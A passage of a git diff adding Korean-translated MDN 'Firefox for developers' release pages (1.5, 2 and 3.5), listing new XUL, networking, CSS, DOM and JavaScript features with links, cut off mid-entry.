+<h4 id="XUL_.EA.B0.9C.EB.B0.9C.EC.9E.90.EC.99.80_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EA.B0.9C.EB.B0.9C.EC.9E.90" name="XUL_.EA.B0.9C.EB.B0.9C.EC.9E.90.EC.99.80_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EA.B0.9C.EB.B0.9C.EC.9E.90">XUL 개발자와 확장기능 개발자</h4>
+<dl>
+ <dt>
+  <a href="ko/Building_an_Extension">Building an Extension</a></dt>
+ <dd>
+  이 입문서는 당신이 Firefox에 가장 기본이 될만한 확장기능을 만드는데 필요한 과정을 통과하도록 합니다. 또한 새 확장기능을 만들기를 훨씬 더 쉽게 하는 1.5의 확장기능 관리자의 새로운 기능을 실제로 보이는 <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">another tutorial on MozillaZine knowledge base</a>를 보세요.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/XPCNativeWrapper">XPCNativeWrapper</a></dt>
+ <dd>
+  <code>XPCNativeWrapper</code>는 <a href="ko/Safely_accessing_content_DOM_from_chrome">safe to access from privileged code</a>하도록 개체를 싸는(wrap up) 방법입니다. Firefox 1.5 (Gecko 1.8)에서 시작하여 약간 바뀐 behavior를 통해 모든 Firefox 버전에서 쓸 수 있습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/Preferences_System">Preferences System</a></dt>
+ <dd>
+  더 적은 JavaScript 코드를 써서 더 쉽게 선택사항 창을 만들게 하는 새 위젯을 알아봅니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/International_characters_in_XUL_JavaScript">International characters in XUL JavaScript</a></dt>
+ <dd>
+  XUL JavaScript 파일은 이제 ASCII 아닌 문자도 포함할 수 있습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/Tree_Widget_Changes">Tree API changes</a></dt>
+ <dd>
+  XUL <code>&lt;tree&gt;</code> 요소에 접근하기 위한 인터페이스가 바뀌었습니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/XUL_Changes_for_Firefox_1.5">XUL Changes for Firefox 1.5</a></dt>
+ <dd>
+  XUL 바뀐 점 요약. 또한 <a href="ko/Adapting_XUL_Applications_for_Firefox_1.5">Adapting XUL Applications for Firefox 1.5</a>를 보세요.</dd>
+</dl>
+<dl>
+ <dt>
+  네트워킹 관련 바뀐 점</dt>
+</dl>
+<ul>
+ <li>인증 프롬프트를 이제 각 채널(per-channel) 기초로 하여 재정의(override)할 수 있습니다. 이는 인터페이스 requestor를 <a href="ko/NsIChannel">nsIChannel</a>의 notificationCallbacks으로 설정하고 <a href="ko/NsIBadCertListener">nsIBadCertListener</a>를 위한 인터페이스를 할당하여 수행합니다.</li>
+ <li>nsIWebBrowserPersist의 listener는 이제 <a href="ko/NsIInterfaceRequestor">nsIInterfaceRequestor</a>::GetInterface를 구현할 수 있고 <a href="ko/NsIProgressEventSink">nsIProgressEventSink</a>(<a href="ko/NsIWebProgressListener">nsIWebProgressListener</a>와 크게 쓸모 있고 중복되지 않은)를 포함한 채널이 요구할 지도 모를 인터페이스 모두를 제공할 기회를 얻습니다. 여기서 쓸모 있는 인터페이스는 <a href="ko/NsIChannelEventSink">nsIChannelEventSink</a>와 <a href="ko/NsIBadCertListener">nsIBadCertListener</a> 포함합니다.</li>
+ <li>확장기능이나 XMLHttpRequest를 포함하는 다른 necko 소비자는 쿠키 헤더를 명시하여 설정할 수 있고 necko는 그것을 바꾸지 않을 겁니다. 저장된 쿠키는 명시한 헤더가 저장된 쿠키를 재정의하는 방식으로 명시하여 집합 헤더와 합쳐집니다.</li>
+</ul>
+<h3 id=".EC.83.88_.EC.B5.9C.EC.A2.85_.EC.82.AC.EC.9A.A9.EC.9E.90_.EA.B8.B0.EB.8A.A5" name=".EC.83.88_.EC.B5.9C.EC.A2.85_.EC.82.AC.EC.9A.A9.EC.9E.90_.EA.B8.B0.EB.8A.A5">새 최종 사용자 기능</h3>
+<h4 id=".EC.82.AC.EC.9A.A9.EC.9E.90_Experience" name=".EC.82.AC.EC.9A.A9.EC.9E.90_Experience">사용자 Experience</h4>
+<ul>
+ <li>뒤로 가기와 앞으로 가기 버튼 성능 개선으로 <strong>더 빠른 브라우저 항해</strong></li>
+ <li><strong>드랙 앤 드랍으로 브라우저 탭 재배치.</strong></li>
+ <li>사전 검색을 위해 <strong>Answers.com을 검색 엔진 목록에 추가했습니다</strong>.</li>
+ <li>설명 단 에러 페이지, 다시 디자인한 옵션 메뉴, RSS 발견(discovery), "안전 모드" experience를 포함한 <strong>제품 사용성 증대</strong></li>
+ <li>DHTML 접근성을 포함하여 <strong>더 나은 접근성 지원</strong>.</li>
+ <li>Firefox에서 열리지 않는 웹 사이트를 보고하기 위한 <strong>깨지는 웹 사이트 보고 마법사</strong></li>
+ <li>Safari와 Mac Internet Explorer로부터 프로필 이동을 포함한 <strong>더 나은 Mac OS X</strong>(10.2 이상)<strong> 지원</strong></li>
+</ul>
+<h4 id=".EB.B3.B4.EC.95.88.EA.B3.BC_.EC.82.AC.EC.83.9D.ED.99.9C" name=".EB.B3.B4.EC.95.88.EA.B3.BC_.EC.82.AC.EC.83.9D.ED.99.9C">보안과 사생활</h4>
+<ul>
+ <li>제품 업그레이드를 streamline하는 <strong>자동 업데이트</strong>. 업데이트 알림은 더 눈에 띄고(prominent), Firefox 업데이트는 이제 0.5 megabyte나 그보다 더 작아질지도 모릅니다. 확장기능 업데이트 또한 개선했습니다.</li>
+ <li><strong>팝업 차단 개선.</strong></li>
+ <li><strong>개인 데이터 지우기</strong> 기능은 키보드 메뉴 항목과 shortcut을 통해 개인 데이터를 빠르게 제거하는 쉬운 방법을 제공합니다.</li>
+</ul>
+<h4 id=".EC.97.B4.EB.A6.B0_.EC.9B.B9_.ED.91.9C.EC.A4.80_.EC.A7.80.EC.9B.90" name=".EC.97.B4.EB.A6.B0_.EC.9B.B9_.ED.91.9C.EC.A4.80_.EC.A7.80.EC.9B.90">열린 웹 표준 지원</h4>
+<p>Firefox는 시종일관 크로스 플랫폼을 구현하도록 기업을 계속 이끄는 웹 표준을 지원합니다.</p>
+<ul>
+ <li>Hypertext Markup Language (<a href="ko/HTML">HTML</a>) and Extensible Hypertext Markup Language (<a href="ko/XHTML">XHTML</a>): <a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a> and <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0/1.1</a></li>
+ <li>Cascading Style Sheets (<a href="ko/CSS">CSS</a>): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS Level 1</a>, <a class="external" href="http://www.w3.org/TR/REC-CSS2">CSS Level 2</a> and parts of <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS Level 3</a></li>
+ <li>Document Object Model (<a href="ko/DOM">DOM</a>): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM Level 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM Level 2</a> and parts of <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM Level 3</a></li>
+ <li>Mathematical Markup Language: <a class="external" href="http://www.w3.org/Math/">MathML Version 2.0</a></li>
+ <li>Extensible Markup Language (<a href="ko/XML">XML</a>): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Namespaces in XML</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Associating Style Sheets with XML Documents 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">Fragment Identifier for XML</a></li>
+ <li>XSL Transformations (<a href="ko/XSLT">XSLT</a>): <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>XML Path Language (<a href="ko/XPath">XPath</a>): <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Resource Description Framework (<a href="ko/RDF">RDF</a>): <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Simple Object Access Protocol (SOAP): <a class="external" href="http://www.w3.org/TR/SOAP/">SOAP 1.1</a></li>
+ <li><a href="ko/JavaScript">JavaScript</a> 1.6, based on <a href="ko/ECMA-262">ECMA-262</a>, revision 3: <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+<p>Firefox 1.5는 다음 데이터 전송 프로토콜(HTTP, FTP, SSL, TLS, 그리고 나머지)과 여러 언어 문자 데이터(Unicode), 그래픽스(GIF, JPEG, PNG, SVG, 그리고 나머지), 가장 유명한 스크립팅 언어의 최근 버전인 <a href="ko/New_in_JavaScript_1.6">JavaScript 1.6</a>을 지원합니다.</p>
+<h3 id="Firefox_1.0.EB.B6.80.ED.84.B0_.EB.B0.94.EB.80.90_.EC.A0.90" name="Firefox_1.0.EB.B6.80.ED.84.B0_.EB.B0.94.EB.80.90_.EC.A0.90">Firefox 1.0부터 바뀐 점</h3>
+<p>2004년 11월 9일 처음 출시된 뒤로 Firefox에 바뀐 점이 많습니다. Firefox는 많은 새로운 기능 보탬과 버그 고침과 함께 향상됐습니다. Deer Park(Firefox 1.5의 코드명)와 Firefox 출시 노트는 Firefox 각 출시본의 바뀐 점에 관한 훌륭한 정보원입니다.</p>
+<ul>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5-comprehensive.html">What's new in Firefox 1.5 (comprehensive)</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc3.html">What's new in Firefox 1.5 RC 3</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc2.html">What's new in Firefox 1.5 RC 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5rc1.html">What's new in Firefox 1.5 RC 1</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5b2.html">What's new in Firefox 1.5 Beta 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5b1.html">What's new in Firefox 1.5 Beta 1</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5a2.html">What's new in Deer Park Alpha 2</a></li>
+ <li><a class="external" href="http://www.squarefree.com/burningedge/releases/1.5a1.html">What's new in Deer Park Alpha 1</a></li>
+</ul>
+<p>{{ languages( { "en": "en/Firefox_1.5_for_developers", "es": "es/Firefox_1.5_para_Desarrolladores", "fr": "fr/Firefox_1.5_pour_les_d\u00e9veloppeurs", "it": "it/Firefox_1.5_per_Sviluppatori", "ja": "ja/Firefox_1.5_for_developers", "nl": "nl/Firefox_1.5_voor_ontwikkelaars", "pl": "pl/Firefox_1.5_dla_programist\u00f3w", "pt": "pt/Firefox_1.5_para_Desenvolvedores" } ) }}</p>
diff --git a/files/ko/firefox_2_for_developers/index.html b/files/ko/firefox_2_for_developers/index.html
new file mode 100644
index 0000000000..e39f256625
--- /dev/null
+++ b/files/ko/firefox_2_for_developers/index.html
@@ -0,0 +1,85 @@
+---
+title: Firefox 2 for developers
+slug: Firefox_2_for_developers
+translation_of: Mozilla/Firefox/Releases/2
+---
+<h3 id="Firefox_2_.EC.83.88.EB.A1.9C.EC.9A.B4_.EA.B8.B0.EB.8A.A5"> Firefox 2 새로운 기능 </h3>
+<p>Firefox 2는 다양하고 새로운 기능들을 소개하고 있습니다. 이 문서는 이러한 새로운 기능들을 소개하고 자세한 정보를 제공하고 있습니다.
+</p>
+<h4 id=".EC.9B.B9_.EC.82.AC.EC.9D.B4.ED.8A.B8_.EB.B0.8F_.EC.9D.91.EC.9A.A9.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EA.B0.9C.EB.B0.9C.EC.9E.90"> 웹 사이트 및 응용프로그램 개발자 </h4>
+<dl><dt> <a class="external" href="http://wiki.mozilla.org/Microsummaries">Microsummaries</a>
+</dt><dd> Microsummaries는 자동으로 업데이트 될만한 웹 페이지 내 작은 정보를 말합니다. 웹 사이트 개발자들은 북마크나 페이지 제목에 이 정보가 자동으로 업데이트 될 수 있도록 제공할 수 있습니다. 예를 들어, 특정 회사 주가를 보여 주는 페이지에서 주가를 Microsummaries로 보여 줄 수 있습니다.
+</dd></dl>
+<dl><dt> <a href="ko/Creating_a_Microsummary">Microsummary 만들기</a>
+</dt><dd> Microsummary 생성기를 만들고 활용하는 방법을 알려 드립니다.
+</dd></dl>
+<dl><dt> <a href="ko/Microsummary_XML_grammar_reference">Microsummary XML grammar reference</a>
+</dt><dd> Microsummary 생성기를 만드는 데 쓰이는 XML 문법 참조 문서
+</dd></dl>
+<dl><dt> <a class="external" href="http://opensearch.a9.com/">OpenSearch support</a>
+</dt><dd> Firefox 2는 OpenSearch 검색 엔진 포맷을 지원합니다.
+</dd></dl>
+<dl><dt> <a href="ko/Creating_MozSearch_plugins">MozSearch 플러그인 만들기</a>
+</dt><dd> Firefox 2는 OpenSearch 기반 검색 플러그인 포맷인 MozSearch를 지원하지만 내부 사용 목적입니다.
+</dd></dl>
+<dl><dt> <a href="ko/Supporting_search_suggestions_in_search_plugins">검색 플러그인 만들기</a>
+</dt><dd> MozSearch를 이용하여 검색 플러그인 및 자동 완성 기능을 제공 하는 방법을 알려드립니다.
+</dd></dl>
+<dl><dt> <a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7 지원</a>
+</dt><dd> Firefox 2는 자바스크립트 1.7을 지원합니다. 여기에는 <code>let</code>, destructuring assignment, generators and iterators, array comprehensions 등의 기능이 추가되었습니다.
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#scs-client-side">WHATWG Client-side session and persistent storage|WHATWG 클라이언트 세션 저장 기능</a>
+</dt><dd> 클라이언트 세션 저장 기능은 클라이언트에서 구조화된 데이터를 저장하거나 사용할 수 있도록 해 주는 새로운 기능입니다. </dd></dl>
+<dl><dt> <a href="ko/SVG_in_Firefox">SVG 기능</a>
+</dt><dd> Firefox 2는 <code>&lt;textPath&gt;</code> 요소를 구현하고 이전에 지원하지 않은 속성 지원을 더해 Scalable Vector Graphics (SVG) 지원이 향상됩니다.
+</dd></dl>
+<dl><dt> <a href="ko/Controlling_spell_checking_in_HTML_forms">Controlling spell checking in HTML forms</a>
+</dt><dd> Firefox 2는 text area와 text field에서 인라인 철자 검사 지원을 포함합니다. 이 문서는 각 폼 요소에 철자 검사를 켜고 끄는 HTML 작성법을 설명합니다.
+</dd></dl>
+<dl><dt> <a href="ko/Security_in_Firefox_2">Security in Firefox 2</a>
+</dt><dd> Firefox 2는 보안 프로토콜이 기본값으로 가능하게 바뀌었습니다.
+</dd></dl>
+<h4 id="XUL.EA.B3.BC_.EA.B0.9C.EB.B0.9C.EC.9E.90.EB.93.A4.EC.9D.84_.EC.9C.84.ED.95.9C_.ED.99.95.EC.9E.A5"> XUL과 개발자들을 위한 확장 </h4>
+<dl><dt> <a href="ko/Updating_extensions_for_Firefox_2">Updating extensions for Firefox 2</a>
+</dt><dd> 기존 확장 기능이 Firefox 2에서 작동하게 하는 법을 다룹니다.
+</dd></dl>
+<dl><dt> <a href="ko/Session_store_API">Session store API</a>
+</dt><dd> Firefox에서 세션을 넘나들며 저장 및 복구되는 항목에 기여하기.
+</dd></dl>
+<dl><dt> <a href="ko/Feed_content_access_API">Feed content access API</a>
+</dt><dd> 개발자가 RSS와 Atom 피드에 접근 및 구문해석하게 하는 API.
+</dd></dl>
+<dl><dt> <a href="ko/SAX">SAX support</a>
+</dt><dd> 이벤트 기반 XML 파서 API.
+</dd></dl>
+<dl><dt> <a href="ko/Adding_search_engines_from_web_pages">Adding search engines from web pages</a>
+</dt><dd> 자바스크립트는 OpenSearch 또는 Sherlock 포맷으로 작성된 검색 엔진 플러그인을 설치하도록 Firefox 에게 지시할 수 있습니다.
+</dd></dl>
+<dl><dt> <a href="ko/Adding_phishing_protection_data_providers">Adding phishing protection data providers</a>
+</dt><dd> 안전한 브라우징 시스템을 위해 추가 데이터 프로바이더를 추가하여 Firefox의 피싱 방지를 향상이 가능합니다.
+</dd></dl>
+<dl><dt> <a href="ko/Adding_feed_readers_to_Firefox">Adding feed readers to Firefox</a>
+</dt><dd> 웹 기반이든 응용프로그램이든 새 피드 리더를 Firefox에 추가할 수 있습니다.
+</dd></dl>
+<dl><dt> <a href="ko/Storage">Storage</a>
+</dt><dd> Firefox 2는 sqlite 기반 데이터베이스 아키텍쳐인 mozStorage 를 도입했습니다.
+</dd></dl>
+<dl><dt> <a href="ko/Theme_changes_in_Firefox_2">Theme changes in Firefox 2</a>
+</dt><dd> Firefox 2에서 작동하도록 기존 테마를 업데이트하는 데 필요한 변화를 다룹니다.
+</dd></dl>
+<h3 id=".EC.9D.BC.EB.B0.98_.EC.82.AC.EC.9A.A9.EC.9E.90_.EA.B8.B0.EB.8A.A5"> 일반 사용자 기능 </h3>
+<dl><dd> Firefox 2는 여러분의 온라인 사용성을 전보다 더 안전하고 편리하게 하는 개선된 보안 기능과 함께 이전 버전처럼 깔끔한 사용자 인터페이스를 향상시킨 판을 제공합니다.
+</dd></dl>
+<h4 id=".EC.82.AC.EC.9A.A9.EC.84.B1_.EC.A6.9D.EB.8C.80_.EA.B8.B0.EB.8A.A5"> 사용성 증대 기능 </h4>
+<ul><li> <b>내용 편집시 맞춤법 검사 기능</b> 글 쓰기할 때 문법 및 단어 추천 (영문)
+</li><li> <b>Microsummaries</b>는 웹 사이트에 자동적으로 갱신될 만한 가장 중요한 정보를 받아 북마크에 추가하여 볼 수 있습니다. 주가 정보, 경매 현황 등에 사용될 수 있습니다.
+</li><li> <b>확장 기능 관리자</b> 모양이 더욱 간단하게 바뀌었습니다.
+</li><li> <b>검색 사이트 관리자</b>를 통해 검색 사이트 순서를 바꾸거나 삭제할 수 있습니다.
+</li><li> <b>탭 브라우징 기능 향상</b>을 통해 각 탭에 닫기 버튼을 추가하였고, 탭 이동 및 탭 닫기 옵션 선택 등 다양한 기능이 추가되었습니다.
+</li><li> <b>검색 엔진 찾기 기능</b>은 검색 플러그인을 제공하는 검색 엔진이 있으면 쉽게 찾고 설치할 수 있도록 도와 줍니다.
+</li><li> <b>검색 자동 완성 기능</b>은 검색창에서 검색어를 입력할 때 검색 엔진에서 검색어를 추천해 주는 기능으로 구글과 야후!에서 제공됩니다.
+</li></ul>
+<h4 id=".EA.B0.9C.EC.9D.B8_.EC.A0.95.EB.B3.B4_.EB.B0.8F_.EB.B3.B4.EC.95.88"> 개인 정보 및 보안 </h4>
+<ul><li> <b>피싱 차단 기능</b>은 웹 페이지를 변조하여 개인 정보를 빼내려는 피싱 사이트를 가지 않도록 방지해 줍니다.
+</li></ul>
+{{ languages( { "en": "en/Firefox_2_for_developers", "ja": "ja/Firefox_2_for_developers" } ) }}
diff --git a/files/ko/firefox_3.5_for_developers/index.html b/files/ko/firefox_3.5_for_developers/index.html
new file mode 100644
index 0000000000..2431607551
--- /dev/null
+++ b/files/ko/firefox_3.5_for_developers/index.html
@@ -0,0 +1,302 @@
+---
+title: Firefox 3.5 for developers
+slug: Firefox_3.5_for_developers
+translation_of: Mozilla/Firefox/Releases/3.5
+---
+<p>Firefox 3.5은 넓은 범위의 향상된 웹 표준을 지원하는 것을 포함한 새로운 여러 가지 기능을 보여줍니다. 이 문서에는 향상된 부분 중 주된 부분에 대한 문서의 링크를 제공합니다.</p>
+<h2 id="Firefox_3.5에서_개발자를_위한_새로운_부분">Firefox 3.5에서 개발자를 위한 새로운 부분</h2>
+<h3 id="웹_사이트와_웹_애플리케이션_개발자를_위한_부분">웹 사이트와 웹 애플리케이션 개발자를 위한 부분</h3>
+<h4 id="HTML_5_지원">HTML 5 지원</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/En/Using_audio_and_video_in_Firefox" title="En/Using audio and video in Firefox">Firefox에서 오디오와 비디오 사용</a></dt>
+ <dd>
+  Firefox 3.5 에는 HTML 5 의 <a class="internal" href="/En/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a>와 <a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a> 요소가 추가되었습니다.</dd>
+ <dt>
+  <a class="internal" href="/en/Offline_resources_in_Firefox" title="En/Offline resources in Firefox">Firefox에서의 오프라인 자원</a></dt>
+ <dd>
+  Firefox 3.5 에서는 이제 HTML 5 의 오프라인 자원 부분을 모두 지원합니다.</dd>
+ <dt>
+  <a class="internal" href="/En/DragDrop/Drag_and_Drop" title="En/DragDrop/Drag and Drop">드래그 앤 드롭</a></dt>
+ <dd>
+  HTML 5 의 드래그 앤 드롭 API는 웹사이트에서의 드래그 앤 드롭을 지원합니다. 또한 확장기능과 모질라 기반 애플리케이션에서 사용되는 간단한 API도 제공합니다.</dd>
+</dl>
+<h4 id="CSS_변경점">CSS 변경점</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/en/CSS/@font-face" title="En/CSS/@font-face">Downloadable 다운로드 할 수 있는 폰트 지원 fonts support</a></dt>
+ <dd>
+  새로운 {{ cssxref("@font-face") }} @rule 은 웹페이지에서 폰트를 다운로드 할 수 있게 합니다. 그래서 이 CSS가 적용된 사이트는 페이지를 만든 사람 의도대로 보여줄 수 있습니다.</dd>
+ <dt>
+  <a class="internal" href="/En/CSS/Media_queries" title="En/CSS/Media queries">CSS media queries</a></dt>
+ <dd>
+  Firefox 3.5 에서는 CSS media query를 지원합니다. 이것은 미디어 기반의 스타일 시트를 이용할 수 있게 합니다.</dd>
+ <dt>
+  {{ cssxref(":before") }} 와 {{ cssxref(":after") }} 가 CSS 2.1에 추가되었습니다.</dt>
+ <dd>
+  <code><span style="font-family: Verdana,Tahoma,sans-serif;">:</span>before</code> 와 <code>:after</code> 모조요소(pseudo-elements)는 CSS 2.1의 <code>position</code>, <code>float</code>, <code>list-style-*</code>, 그리고 특정 display 속성에 추가되었습니다.</dd>
+ <dt>
+  <a class="internal" href="/en/CSS/opacity" title="En/CSS/Opacity"><code>opacity</code></a></dt>
+ <dd>
+  <code>표준 opacity 속성이 생겨서 </code><code>모질라 확장 CSS인 -moz-opacity가 없어졌습니다.</code></dd>
+ <dt>
+  <a class="internal" href="/en/CSS/text-shadow" title="En/CSS/Text-shadow"><code>text-shadow</code></a></dt>
+ <dd>
+  텍스트나 텍스트 꾸밈요소에 그림자 효과를 적용할 수 있는 <code>text-shadow</code> 속성이 지원됩니다.</dd>
+ <dt>
+  <a class="internal" href="/En/CSS/Word-wrap" title="En/CSS/Word-wrap"><code>word-wrap</code></a></dt>
+ <dd>
+  새로 지원되는 속성인 word-wrap은 한 줄에 띄어쓰기 되지 않은 긴 문자열이 있을 때, 넘쳐 보이지 않게 하기 위해 이 문자열을 중간에서 끊을 지 정합니다.</dd>
+ <dt>
+  <a class="internal" href="/en/CSS/-moz-box-shadow" title="En/CSS/-moz-box-shadow"><code>-moz-box-shadow</code></a></dt>
+ <dt>
+  <a class="internal" href="/En/CSS/-moz-border-image" title="En/CSS/-moz-border-image"><code>-moz-border-image</code></a></dt>
+ <dt>
+  <a class="internal" href="/En/CSS/-moz-column-rule" title="En/CSS/-moz-column-rule"><code>-moz-column-rule</code></a></dt>
+ <dt>
+  <a class="internal" href="/En/CSS/-moz-column-rule-width" title="En/CSS/-moz-column-rule-width"><code>-moz-column-rule-width</code></a></dt>
+ <dt>
+  <a class="internal" href="/En/CSS/-moz-column-rule-style" title="En/CSS/-moz-column-rule-style"><code>-moz-column-rule-style</code></a></dt>
+ <dt>
+  <a class="internal" href="/En/CSS/-moz-column-rule-color" title="En/CSS/-moz-column-rule-color"><code>-moz-column-rule-color</code></a></dt>
+ <dd>
+  Firefox 3.5에서는 CSS에 추가적으로 모질라 확장 CSS를 지원합니다.</dd>
+ <dt>
+  <a class="internal" href="/en/CSS/color#Mozilla_Specific_Colors" title="En/CSS/color#Mozilla Specific Colors"><code>-moz-nativehyperlinktext</code> 색상 값</a></dt>
+ <dd>
+  이 새 색상값은 시스템 기본 하이퍼링크(hyperlink) 색상을 돌려줍니다.</dd>
+ <dt>
+  새로운 <a class="internal" href="/En/CSS/-moz-window-shadow" title="En/CSS/-moz-window-shadow"><code>-moz-window-shadow</code></a> 와 <a class="internal" href="/En/CSS/:-moz-system-metric(mac-graphite-theme)" title="En/CSS/:-moz-system-metric(mac-graphite-theme)"><code>-moz-system-metric(mac-graphite-theme)</code></a> 속성</dt>
+ <dd>
+  These new CSS properties were added to facilitate theming.</dd>
+ <dt>
+  <a class="internal" href="/en/CSS/-moz-appearance" title="En/CSS/-moz-appearance"><code>-moz-appearance</code></a> 의 새로운 값</dt>
+ <dd>
+  <code>-moz-win-glass</code> <span style="font-family: monospace;">와 </span><code>-moz-mac-unified-toolbar</code> 값이 <code>-moz-appearance</code> 에 추가되었습니다.</dd>
+ <dt>
+  <a class="internal" href="/En/CSS/Using_CSS_transforms" title="En/CSS/Using CSS transforms">Using CSS transforms</a></dt>
+ <dd>
+  Firefox 3.5 supports CSS transforms.  See <a class="internal" href="/En/CSS/-moz-transform" title="En/CSS/-moz-transform"><code>-moz-transform</code></a> and <a class="internal" href="/En/CSS/-moz-transform-origin" title="En/CSS/-moz-transform-origin"><code>-moz-transform-origin</code></a> for details.</dd>
+ <dt>
+  <a class="internal" href="/en/CSS/:nth-child" title="En/CSS/:nth-child"><code>:nth-child</code></a></dt>
+ <dt>
+  <code><a class="internal" href="/en/CSS/:nth-last-child" title="En/CSS/:nth-last-child">:nth-last-child</a></code></dt>
+ <dt>
+  <code><a class="internal" href="/en/CSS/:nth-of-type" title="En/CSS/:nth-of-type">:nth-of-type</a></code></dt>
+ <dt>
+  <code><a class="internal" href="/en/CSS/:nth-last-of-type" title="En/CSS/:nth-last-of-type">:nth-last-of-type</a></code></dt>
+ <dt>
+  <code><a class="internal" href="/en/CSS/:first-of-type" title="En/CSS/:first-of-type">:first-of-type</a></code></dt>
+ <dt>
+  <code><a class="internal" href="/en/CSS/:nth-last-of-type" title="En/CSS/:nth-last-of-type">:last-of-type</a></code></dt>
+ <dt>
+  <a class="internal" href="/en/CSS/:only-of-type" title="En/CSS/:only-of-type"><code>:only-of-type</code></a></dt>
+ <dd>
+  위의 선택자들 모두가 Firefox 3.5 에 새로 추가되었습니다.</dd>
+</dl>
+<h4 id="DOM_변경점">DOM 변경점</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/en/DOM/Storage#localStorage" title="en/DOM/Storage#localStorage">localStorage</a></dt>
+ <dd>
+  Firefox 3.5 에서는 웹 애플리케이션이 클라이언트 로컬에 데이터를 저장하는 방법을 제공해주는 웹 스토리지 <code>localStorage 속성이 추가되었습니다.</code></dd>
+ <dt>
+  <a class="internal" href="/En/Using_web_workers" title="En/Using DOM workers">DOM workers </a><a class="internal" href="/En/Using_web_workers" title="En/Using DOM workers">사용</a></dt>
+ <dd>
+  Firefox 3.5 에서는 웹 애플리케이션이 손쉽게 멀티스레드를 지원할 수 있게 해주는 DOM workers가 지원됩니다.</dd>
+ <dt>
+  <a class="internal" href="/En/Using_geolocation" title="En/Using geolocation">geolocation</a><a class="internal" href="/En/Using_geolocation" title="En/Using geolocation"> 사용</a></dt>
+ <dd>
+  Firefox 3.5 에서는 Geolocation API를 지원합니다. 위치 정보 제공자가 설치되어 있고 활성화되어 있다면, 이 API는 웹 애플리케이션이 사용자의 현재 위치 정보를 얻을 수 있게 해줍니다.</dd>
+ <dt>
+  <a class="internal" href="/En/DOM/Locating_DOM_elements_using_selectors" title="en/DOM/Locating DOM elements using selectors">Locating DOM elements using selectors</a></dt>
+ <dd>
+  The selectors API allows querying a document to locate the elements that match a given selection rule.</dd>
+ <dt>
+  <a class="internal" href="/En/DOM/Mouse_gesture_events" title="En/DOM/Mouse gesture events">마우스 제스쳐 이벤트</a></dt>
+ <dd>
+  Firefox 3.5 에서는 트랙패드를 강하게 치는 등의 마우스 제스쳐 이벤트를 지원합니다.</dd>
+ <dt>
+  <a class="internal" href="/En/DOM/NodeIterator" title="En/DOM/NodeIterator"><code>NodeIterator</code> 객체</a></dt>
+ <dd>
+  <code>NodeIterator</code> 객체는 DOM 하위 트리의 노드들을 반복(iterating)할 수 있도록 해줍니다.</dd>
+ <dt>
+  <a class="internal" href="/en/Gecko-Specific_DOM_Events#MozAfterPaint" title="en/Gecko-Specific DOM Events#MozAfterPaint">The MozAfterPaint event</a></dt>
+ <dd>
+  This new DOM event is sent after painting updates in windows.</dd>
+ <dt>
+  <a class="internal" href="/en/Gecko-Specific_DOM_Events#MozMousePixelScroll" title="en/Gecko-Specific DOM Events#MozMousePixelScroll">The MozMousePixelScroll event</a></dt>
+ <dd>
+  This new DOM event allows detection of pixel-based mouse scroll wheel events instead of line-based scroll events.</dd>
+</dl>
+<h4 id="JavaScript_변경점">JavaScript 변경점</h4>
+<dl>
+ <dt>
+  <a class="internal" href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Object/GetPrototypeOf" title="En/Core JavaScript 1.5 Reference/Global Objects/Object/GetPrototypeOf"><code>Object.getPrototypeOf()</code></a></dt>
+ <dd>
+  이 새로운 메소드는 특정 객체의 prototype을 반환합니다.</dd>
+ <dt>
+  <a class="internal" href="/En/Using_native_JSON" title="En/Using JSON in Firefox">자체 </a><a class="internal" href="/En/Using_native_JSON" title="En/Using JSON in Firefox">JSON </a><a class="internal" href="/En/Using_native_JSON" title="En/Using JSON in Firefox">사용</a></dt>
+ <dd>
+  Firefox 3.5 에는 자체에서 지원하는 <a class="internal" href="/en/JSON" title="En/JSON">JSON</a> 객체가 있습니다.</dd>
+ <dt>
+  String 객체에 trim 메소드 추가</dt>
+ <dd>
